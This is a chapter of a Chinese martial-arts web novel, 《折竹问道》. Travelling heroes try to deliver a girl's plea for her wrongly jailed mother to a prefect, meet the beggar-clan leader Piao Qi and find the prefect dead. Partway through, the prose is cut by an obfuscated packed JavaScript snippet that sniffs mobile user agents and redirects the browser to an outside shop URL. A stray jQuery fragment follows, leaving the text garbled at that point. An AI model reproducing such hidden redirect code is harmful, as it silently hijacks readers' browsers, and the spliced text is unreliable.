9.第 9 章
作品:《折竹问道》 李青筠再睁眼时,已是三日之后。
头顶是客栈摇摇欲坠的房梁,仔细一看,上面盖满了大大小小的蛛网。她颇为嫌弃地“啧”了一声,偏过头去问:“谁找的客栈?好破。”
烂得堪比蛛网的床帐被一只手掀开,华逢春另一手端着碗药,语气没什么起伏:“我没钱,现下这间房费还与老板赊着。你再不醒,我们二人就要被扫地出门了。”
“堂堂神医,怎么穷酸成这样!”李青筠扶额,伸手在衣襟内摸索一阵,从自己脖颈上那只长命锁摘下两枚银铃铛,“给给给,最后两个了。大师姐要是知道我拿长命锁当钱花,非得活过来把我抽个半死。”
华逢春接过铃铛,将药碗放在床头。
“你且喝药,我去还账。”
屋内暂时只剩李青筠一人。她半撑起身,靠在床头,伸手端起那碗药。
乌漆麻黑的,还散发着一股苦不苦辣不辣的难闻气味。李青筠不爱喝药,但能容忍她撒泼耍赖的人已经死了,再如何作态也是徒劳。
想来华神医也不会有耐心哄她喝药。
她仰头,将那碗药一饮而尽。
恰好此时,华逢春推门回来,李青筠幽幽问她:“什么药苦成这样!你不会给我下毒了吧?”
“很苦?”华逢春瞥了眼她皱成一团的脸,又端起碗看了看碗底的药渣,满意道,“千年山参,药效果然不错。”
“啊?千年山参?”李青筠一愣,“我还没去取,难不成它自己长脚跑过来了?”
华逢春摇摇头:“这药材是朴帮主取来的。”
“哦。朴七人呢?怎么不见她?”
“她被抓了。”华逢春说。
“什么?被抓了?”李青筠“腾”地一下从床上弹起来,“为什么?就因为偷了根破山参?太守老儿这么小气!”
“不止。”华逢春说,“她还杀了人。”
“什么?!!”
——
“先说好,太守府守卫森严,我们不一定能把东西送到。”
小少年泪眼汪汪地点了点头:“我知道!三位大侠愿意帮忙,我已经感激不尽。若大侠能见到太守,劳烦你们告诉他,我娘是被冤枉的!”
程奚半蹲着身,摸了摸她的发顶。他叹了一口气,下意识地回头看向程灵。
程灵抱着刀,对他点了点头:“走。”
“快走吧,师兄!”万俟玉将那封信小心翼翼藏进怀中,左顾右盼一阵,压低声音催促道,“一会儿我们偷偷溜进太守府,把信直接递到他面前。”
“放心,我们一定尽力。”
程奚最后安慰了小少年一句,站起身来,又拍了拍她的肩膀。程灵随即转身出门而去,他与万俟玉匆匆跟上,待身后那座小屋渐渐消失在视野中,才忍不住感叹:“好苦命的孩子……”
三人在幽州境内赶路,途径松原县郊外时遇到一座草屋,万俟玉嘟囔着口渴,非要进去讨杯水喝。谁知草屋内只住着一位小小少年,年龄不过十岁,却是面黄肌瘦,形容憔悴。
即便如此,她还是客客气气招待三人坐下喝水,还从竹筐里找出一只烧饼递给万俟玉吃。
烧饼又硬又干巴,差点把万俟玉本就摇摇欲坠的门牙啃掉。程奚看这小少年自己都吃不饱饭,于是打算给她留下些铜板。然而小少年摇头拒绝,将目光移向程灵腰侧的刀,怯生生地问她们三人是不是武林里行侠仗义的大侠。
万俟玉一拍胸脯应下“大侠”的名号,随后,小少年才与三人吐露自己的身世。
原来这小少年名为缇萦,幼年丧父,如今娘亲又被本县县令诬陷入狱。她想要申冤,只能去找太守上控,可她要状告的是本县长官,按规矩需要滚一遭钉板。
缇萦不过十岁,滚过钉板安能有命在?她称自己身死事小,耽误了为母申冤才是大事。而她的娘亲再过三日就要受劓刑,现下大难临头,只能求助像程灵她们这样路过的侠客,希望有人能将她的陈情信送到城里的太守府上。
草屋与太守府相去数十里,三人要趁夜潜入府中将信送出,必须加快脚程。程奚虽然不擅武功,轻功跑路倒是在行,背着万俟玉还能勉强跟上程灵的脚步。
“程灵,你说太守万一坐视不管怎么办?”他气喘吁吁地问。
“拿刀逼着他,总不能不理会。”程灵说,“滚钉板一事本就荒谬,他既然如此刁难百姓,我们也不必对他客气。”
“就是就是!”万俟玉怒气冲冲地附和,“这群当官的都不是什么好东西!咱们是大侠,就要保护好人,打败坏蛋!”
“你看谁家大侠还要人背着赶路?”程奚又好气又好笑,托着她的腿作势要松,“小玉大侠,有本事下来展示一下轻功?”
万俟玉一个没趴稳差点摔下去,连忙双臂勒紧她师兄的脖颈:“别别别,师兄,我还没学会轻功呢!”
程灵闻言看了她一眼:“上回你分明对师傅说自己学会了。”
“……”万俟玉一听到“师傅”两个字,吓了一个激灵,磕磕巴巴道,“我、我那不是……想让师傅高兴嘛……”
程奚笑她:“你看你,还不如像我一样诚实点说自己什么都不会。小玉,趁这几日出门在外你赶快把轻功练好,别回去在师傅面前漏了馅!”
“好吧。”万俟玉哭丧着脸,“那我们路上慢点,迟点回去……”
“到了,噤声。”
程灵脚步忽然一顿,回头对二人轻轻“嘘”了一声。程奚一抬头,发现她们正停在围墙几尺外的一棵古槐树下。
“躲在树干后,不要探身出去。”程灵用气声与二人耳语,“角楼顶上有人,武功不低。”
能得程灵一句“武功不低”之称的,想必是个高手。程奚问道:“太守府的侍卫这么厉害吗?那咱们怎么进去?”
程灵对他竖起一指,闭上双眼屏息凝神听了一阵,原本紧绷的全身忽然松了些,呼出一口气道:“走了。”
“走了?是侍卫换班了?”
“那人……不像侍卫。”程灵沉吟片刻,“我轻功不济,哥,你一人进去送信。”
“啊?我?”程奚错愕地指着自己,“我只是个手无缚鸡之力的废柴,万一被抓了怎么办!”
“我会在外接应。”程灵冷静解释道,“那个人应该还在府内,太多人去只会打草惊蛇。今晚你先将信送到太守案前,明日我们再看他举动如何。”
“行、行吧。”程奚挠了挠头,“事情搞砸了你们可别怪我。”
万俟玉原本还想着体会一下夜里潜行的刺激,没想到泡了汤,只能不情不愿地把信交给她师兄:“师兄你快去快回,我和师姐在外面等你。”
想进的人不能进,不想进的人却要进。程奚欲哭无泪,只能硬着头皮运起轻功,三两下攀上树顶,顺着一根伸过墙的树枝小心翼翼地潜入府内。
他没有事先打探过太守府的布局,只能没头苍蝇似的乱撞。府内倒是不大,两进的堂屋,后院还有一座小花园。程奚猜想太守应当是住在最大的宅子里,于是便踏着屋脊飞奔而去,在屋顶上侧耳听了听,见里面没什么大动静,才翻身落地,轻轻推窗而入。
程奚运气难得好了一次,果然不错,此处看样子正是太守的书房。他轻手轻脚走到桌前,正要将缇萦的信放下,却突然被一只不知何处来的手猛地攥住了手腕!
“!”
他吓得一激灵想要大叫,那人眼疾手快在他哑穴上一点,程奚顿时只能滑稽地大张着嘴发不出一点声来。
完蛋了!!!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344570|199213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!!
程奚只能在心中鬼哭狼嚎,身体丝毫不敢动一下。抓着他的那只手如同铁箍一样力大无穷,程奚生怕下一刻这只手就会挪到自己脖颈上去,大概掐死他也就那么一两息的事。
窗缝间漏进一缕月光来,照亮那人隐藏在黑暗中的半张脸。程奚僵着脖子瞥了一眼,发现是个古铜色皮肤的女人。
她身量不算高,但臂膀极为有力,眉宇间透着一种野兽般的草莽之气。见程奚在悄悄打量她,她一挑眉,轻笑道:“哪来的小贼。”
她的嗓音低沉,像被砂砾磋磨过一般粗哑。可惜程奚脸盲,不然定能一眼认出她的身份。
丐帮帮主,朴七。
朴七一把从他手中抽走信封,拆开后对着月光认真地看了一番,然后杵了快要化成石雕的程奚一肘,顺手解了他哑穴,问:“哎,小贼,上面写的啥?”
“……”原来是个文盲。
程奚努力将声音压到最低:“这是一个小姑娘托我上控的陈情书。她娘亲被县令诬陷,只能告到太守这里来。”
“还有这事?!”朴七大怒,声音陡然提高,几乎是吼出来的,“哪个县令?老娘去弄死他!”
“嘘!嘘!小声点!”程奚被她吼得直冒冷汗,“杀人倒不至于,主要是先救出她娘亲。侍卫大姐,您行行好,把信交给太守大人,然后放我走吧。”
“侍卫?”朴七被他逗得一乐,给他展示自己肌肉虬结的古铜色手臂,“谁家请得起我这样的侍卫?”
“……”
程奚忽然想起先前程灵提过府里有个高手,难不成就是面前这个人?这么巧就让他撞上了?
既然这人不是侍卫,又是来干什么的?
“行了,信给我,我去帮你钉到太守老儿床头,保他一醒来就能看见。”朴七说,“你把这事详细和我讲讲,我去帮那小姑娘解决。”
“……真的?”程奚半信半疑,“你不是侍卫,为何会夜里出现在太守府中?”
朴七在自己乱七八糟的腰兜里翻了翻,掏出一只手指长的山参给他看:“喏,这是那什么……千年山参,我就奔它来的。”
好吧,原来这人也是个贼。
不过看样子应该是个讲义气的贼,程奚决定暂时信她,于是跟着朴七翻窗出屋,朝太守的卧房走去,路上与她细说了缇萦之事。
缇萦的母亲意娘本是松原县一位远近闻名的神医,她的丈夫早年被官府征兵,死在了沙场上,自此她便立誓不为达官显贵出诊。
一个月前,县令听闻的神医之名,私下邀她来诊治自己的不育之症,意娘自然是拒绝,可不知这消息缘何走漏出去,还传得沸沸扬扬,一时松原县无人不知自己县令原来有此等隐疾。
县令羞愤欲绝,又堵不住悠悠众口,只能将一腔怒火撒在意娘身上。他罗织罪名,诬陷意娘曾经胡乱用药治死病人,将人捉拿入狱,判了个最为耻辱的劓刑。
“松原县真是养了一窝畜生!”朴七震怒,狠狠一捶墙,“等着,老娘一会儿就去把他那名存实亡的玩意儿割了挂到墙头风干,再让他自己吃下去!”
程奚听着都疼,但还是龇牙咧嘴地附和:“割得好!就这么办!”
二人在太守卧房门外站定,程奚下意识想走窗,还没伸手,朴七已经带着火气重重踹开了门。
“小声点啊!”程奚抓狂道,“我们是贼,不是土匪!”
“怕什么。”朴七说着,大摇大摆走进屋去,“就算太守老儿醒着,看见老娘他也得装死——”
程奚听到她的声音戛然而止。
“怎么了?”他这个角度看不清屋内状况,只能低声问。
“……啊哦。”朴七有些尴尬的声音传出来,“他好像不是装死,是真死了。”

